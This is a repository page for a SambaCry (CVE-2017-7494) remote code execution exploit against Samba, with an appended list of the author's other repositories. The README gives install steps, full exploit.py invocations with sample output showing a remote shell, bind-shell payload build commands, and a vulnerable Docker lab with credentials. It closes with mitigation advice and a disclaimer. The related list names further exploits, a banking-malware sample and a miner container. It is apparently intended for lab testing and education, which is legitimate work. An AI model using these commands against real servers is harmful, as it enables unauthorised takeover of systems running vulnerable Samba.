• Stars
    star
    378
  • Rank 113,272 (Top 3 %)
  • Language
    C
  • Created over 7 years ago
  • Updated almost 2 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

SambaCry exploit and vulnerable container (CVE-2017-7494)

SambaCry RCE exploit for Samba 4.5.9

Docker Pulls License

Samba is a free software re-implementation of the SMB/CIFS networking protocol. Samba provides file and print services for various Microsoft Windows clients and can integrate with a Microsoft Windows Server domain, either as a Domain Controller (DC) or as a domain member. As of version 4, it supports Active Directory and Microsoft Windows NT domains.

Samba in 4.5.9 version and before that is vulnerable to a remote code execution vulnerability named SambaCry. CVE-2017-7494 allows remote authenticated users to upload a shared library to a writable shared folder, and perform code execution attacks to take control of servers that host vulnerable Samba services.

Samba 3.x after 3.5.0 and 4.x before 4.4.14, 4.5.x before 4.5.10, and 4.6.x before 4.6.4 does not restrict the file path when using Windows named pipes, which allows remote authenticated users to upload a shared library to a writable shared folder, and execute arbitrary code via a crafted named pipe.

Exploit

sambacry

To properly run this exploit you will need a patched version of impacket python library and the other dependencies in requirements file. To install all of them, please run

pip install -r requirements.txt

If you run Python3, you need to run this software in a virtual environment. Please follow the steps:

pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # or wherever your python2.7 resides
source venv/bin/activate.sh

After that you can run it as the following:

./exploit.py -t <target> -e libbindshell-samba.so \
             -s <share> -r <location>/libbindshell-samba.so \
             -u <user> -p <password> -P 6699

For example, if you want to exploit the vulnerable environment with within this repository, run

./exploit.py -t localhost -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699

And you will get the following output

./exploit.py -t localhost -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>

Exploit's arguments explained:

usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
                  [-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
  • -t or —target - Set the remote host to attack.
  • -e or —executable - Set the path on your local system where the lib that you want to load is located.
  • -s or —remoteshare - Remote share where the file will be copied.
  • -r or —remotepath - Where the file is located on the remote system.
  • -u or —user - Username to log in with.
  • -p or —password - Password to use to log in with.
  • -P or —remoteshellport - If you are using a bind shell payload, connect to the payload after the attack is executed.

Vulnerable environment

To simulate this attack you can use a vulnerable docker image. If you have docker installed, just run

docker run --rm -it \
       -p 137-139:137-139 \
       -p 445:445 -p 6699:6699 \
       vulnerables/cve-2017-7494

If you want to access, use the following credentials.

  • User: sambacry
  • Password: nosambanocry

Alternative payloads

You can find one example of binding shell payload for this exploit in bindshell-samba.c file. Change it as you may find necessary. After that to generate a new binary, use:

gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o

Afftected software

Samba 3.x after 3.5.0 and 4.x before 4.4.14, 4.5.x before 4.5.10, and 4.6.x before 4.6.4

Mitigation

Add the parameter:

nt pipe support = no

to the [global] section of your smb.conf and restart smbd. This prevents clients from accessing any named pipe endpoints. Note this can disable some expected functionality for Windows clients.

Also consider mounting the filesystem which is used by samba for its writable share using noexec option.

Disclaimer

This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (opsxcq) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not opsxcq's responsibility.

More Repositories

1

exploit-CVE-2016-10033

PHPMailer < 5.2.18 Remote Code Execution exploit and vulnerable container
PHP
403
star
2

docker-vulnerable-dvwa

Damn Vulnerable Web Application Docker container
PHP
210
star
3

exploit-CVE-2014-6271

Shellshock exploit + vulnerable environment
Shell
203
star
4

psx-cue-sbi-collection

Collection of .cue e .sbi files for Playstation roms
Shell
202
star
5

tasker

Tasker is a multipurpose task runner
Java
194
star
6

docker-tor-hiddenservice-nginx

Easily setup a hidden service inside the Tor network
C
169
star
7

mirror-vxheaven.org

Vxheaven.org website's mirror
HTML
155
star
8

exploit-blacknurse

Black Nurse DOS attack
C
71
star
9

proxy-list

A curated list of free public proxy servers
71
star
10

meme-vibing-cat

Vibing Cat meme generator
Shell
68
star
11

mirror-fravia

Fravia's mirror, for old times's sake !
HTML
64
star
12

docker-metasploit

Metasploit framework with steroids
Dockerfile
59
star
13

exploit-cve-2017-5715

Spectre exploit
C
55
star
14

exploit-CVE-2016-6515

OpenSSH remote DOS exploit and vulnerable container
JavaScript
53
star
15

mirror-milw0rm

Milw0rm website's mirror ! For old time's sake !
HTML
45
star
16

docker-tor

TOR Server Docker image
Shell
39
star
17

mirror-textfiles.com

TextFiles.com mirror
Roff
35
star
18

docker-helloworld-http

Docker image to test HTTP load balancers
Shell
34
star
19

docker-dnsmasq

Dockerfile
33
star
20

exploit-CVE-2016-7434

NTPD remote DOS exploit and vulnerable container
C
23
star
21

mirror-blacksun.box.sk

Black Sun website mirror, for old times' sake !
HTML
21
star
22

ipblacklist-database

Blacklist ip addresses caught scanning or bruteforcing hosts
20
star
23

docker-vnc

Run GUI applications inside Docker using VNC
Shell
19
star
24

docker-dev-arduino

Arduino development environment in a container
Shell
17
star
25

docker-xmrig

XMrig miner in a container !
Dockerfile
15
star
26

exploit-phpldapadmin-remote-dump

phpldapadmin remote exploit and vulnerable container !
PHP
13
star
27

ansible-role-linux-desktop

Ansible role for a Debian desktop
Shell
12
star
28

docker-wayback-machine

Download websites from Archive.org in a docker container !
12
star
29

docker-transmission

Dockerized Transmission, the most popular opensource Torrent Client
Shell
12
star
30

mirror-cultdeadcow.com

Cult of Dead Cow website's mirror !
HTML
11
star
31

packer-ah

AH Executable Packer
Pascal
11
star
32

arduino-temperature-monitor

Full stack Arduino temperature monitor
C++
11
star
33

malware-sample-banker-FEFAD618EB6177F07826D68A895769A8

Brazilian banker malware identified by Notificacao_Infracao_De_Transito_99827462345231.js
11
star
34

mirror-hack.co.za

Hack.co.za old website mirror
C
10
star
35

ansible-role-linux-server

Basic role to setup Debian as a server
Shell
10
star
36

docker-devops

Devops toolbox in a box
Dockerfile
9
star
37

blog

https://strm.sh website source code
TeX
9
star
38

docker-wine

Wine in a container !
8
star
39

disassembler-borg

Borg disassembler 2.28
C++
8
star
40

docker-snapcast

Snapcast stream server in a docker container !
Dockerfile
7
star
41

debugger-netwalker

NetWalker Debugger
Assembly
7
star
42

mirror-acid.org

ACiD Productions website's mirror
HTML
7
star
43

exploit-MS09-050

Microsoft Windows 7 SMB2.0 Remote Blue Screen of Death
Java
6
star
44

patch-fallout-1-null-pointer

Patch for Fallout 1 to fix a null pointer on a certain map event
C
5
star
45

docker-bitcoind

Bitcoin Daemon server
Dockerfile
5
star
46

linux-web-controller

Simple Linux web interface to run some scripts
Python
5
star
47

exploit-CVE-2016-8016-25

McAfee Virus Scan for Linux multiple remote flaws (CVE 2016-8016, CVE 2016-8017, CVE 2016-8018, CVE 2016-8019, CVE 2016-8020, CVE 2016-8021, CVE 2016-8022, CVE 2016-8023, CVE 2016-8024, CVE 2016-8025)
5
star
48

ansible-role-host-backup

Host backup role for linux with GPG encryption and upload to S3
4
star
49

docker-qemu

Qemu and KVM in a container !
Dockerfile
4
star
50

prometheus-exporter-fujitsu

Fujitsu RX300 exporter for Prometheus
Go
4
star
51

cloralang

Clora Programming Language for Code Golfing
JavaScript
4
star
52

docker-openvpn

OpenVPN running in a container
Dockerfile
4
star
53

ansible-role-linux-maintenance

Debian 10 Ansible maintenance role
4
star
54

opsxcq

3
star
55

docker-telegram

Telegram in a container !
Dockerfile
3
star
56

docker-util-latex

Easily build your LaTeX documents in a container !
Shell
3
star
57

docker-apache

Vanilla apache with php in a container !
Shell
3
star
58

docker-nginx-balancer

[DEPRECATED] A simple load balancer with NGinx
Shell
3
star
59

docker-apt-cacher

Apt-get cache for faster builds
Dockerfile
2
star
60

docker-dev-linuxkit

Linuxkit development environment
Dockerfile
2
star
61

docker-dev-vue

Vuejs 2 development environment with vue-cli and yarn
Dockerfile
2
star
62

docker-dev-cpp

C and C++ development environment
C
2
star
63

docker-filebot

Filebot media organizer container
Dockerfile
2
star
64

docker-pystemon

Pystemon dockerized
Shell
2
star
65

docker-deluge

Deluge torrent daemon in a container
Shell
2
star
66

docker-test-git-ssh-server

Git server over ssh for integration tests
Shell
2
star
67

dev-node-brunch

Nodejs + Brunch development environment
1
star
68

ansible-role-samba

Ansible role for running Samba in a container
1
star
69

docker-mopidy

Mopidy network music player with google music support
Python
1
star
70

dev-kickstart

Build virtual machines with kickstart in a container !
Shell
1
star
71

docker-samba

Samba image for docker
Shell
1
star
72

docker-task-base

Docker base image for tasks, with curl, git, wget, python and a lot more !
1
star
73

docker-gmusic-uploader

Google Music Uploader in a container !
Python
1
star
74

docker-task

[DEPRECATED] A simple way to tasks in a container in intervals
Python
1
star